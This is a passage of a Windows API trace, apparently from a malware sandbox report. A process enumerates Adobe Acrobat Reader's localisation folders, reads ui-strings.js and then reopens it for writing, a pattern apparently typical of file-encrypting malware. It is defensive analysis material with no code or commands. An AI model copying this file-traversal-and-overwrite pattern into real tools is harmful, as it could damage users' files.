ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0255.406] FindClose (in: hFindFile=0x134ac20 | out: hFindFile=0x134ac20) returned 1 [0255.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ecbd0) returned 1 [0255.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ecb90) returned 1 [0255.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ecc90) returned 1 [0255.406] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls", nBufferLength=0x105, lpBuffer=0x208ec730, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls", lpFilePart=0x0) returned 0x70 [0255.406] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\*", lpFindFileData=0x208ec9b0 | out: lpFindFileData=0x208ec9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ab00 [0255.406] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.407] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0255.407] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0255.407] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0255.407] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0255.407] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0255.407] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0255.407] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0255.407] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0255.408] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0255.408] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0255.408] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0255.408] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0255.408] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0255.408] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0255.408] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0255.408] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0255.408] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0255.409] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0255.409] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0255.409] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0255.409] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0255.409] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0255.409] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0255.409] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0255.409] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0255.410] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0255.410] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0255.410] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0255.410] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0255.410] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0255.410] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0255.410] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.410] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0255.411] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0255.411] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0255.411] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0255.411] FindClose (in: hFindFile=0x134ab00 | out: hFindFile=0x134ab00) returned 1 [0255.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ecbd0) returned 1 [0255.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ecb90) returned 1 [0255.411] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ec570, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ui-strings.js", lpFilePart=0x0) returned 0x7e [0255.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208eca40) returned 1 [0255.411] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3bc7ee8 | out: lpFileInformation=0x3bc7ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451)) returned 1 [0255.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208eca00) returned 1 [0255.411] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ec3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ui-strings.js", lpFilePart=0x0) returned 0x7e [0255.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec8f0) returned 1 [0255.412] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0255.412] GetFileType (hFile=0x82c) returned 0x1 [0255.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec860) returned 1 [0255.412] GetFileType (hFile=0x82c) returned 0x1 [0255.412] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x208eca98 | out: lpFileSizeHigh=0x208eca98*=0x0) returned 0x451 [0255.412] ReadFile (in: hFile=0x82c, lpBuffer=0x3bc86c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x3bc86c8*, lpNumberOfBytesRead=0x208ec9c8*=0x451, lpOverlapped=0x0) returned 1 [0255.707] CloseHandle (hObject=0x82c) returned 1 [0256.143] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ec3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ui-strings.js", lpFilePart=0x0) returned 0x7e [0256.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec8f0) returned 1 [0256.143] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, 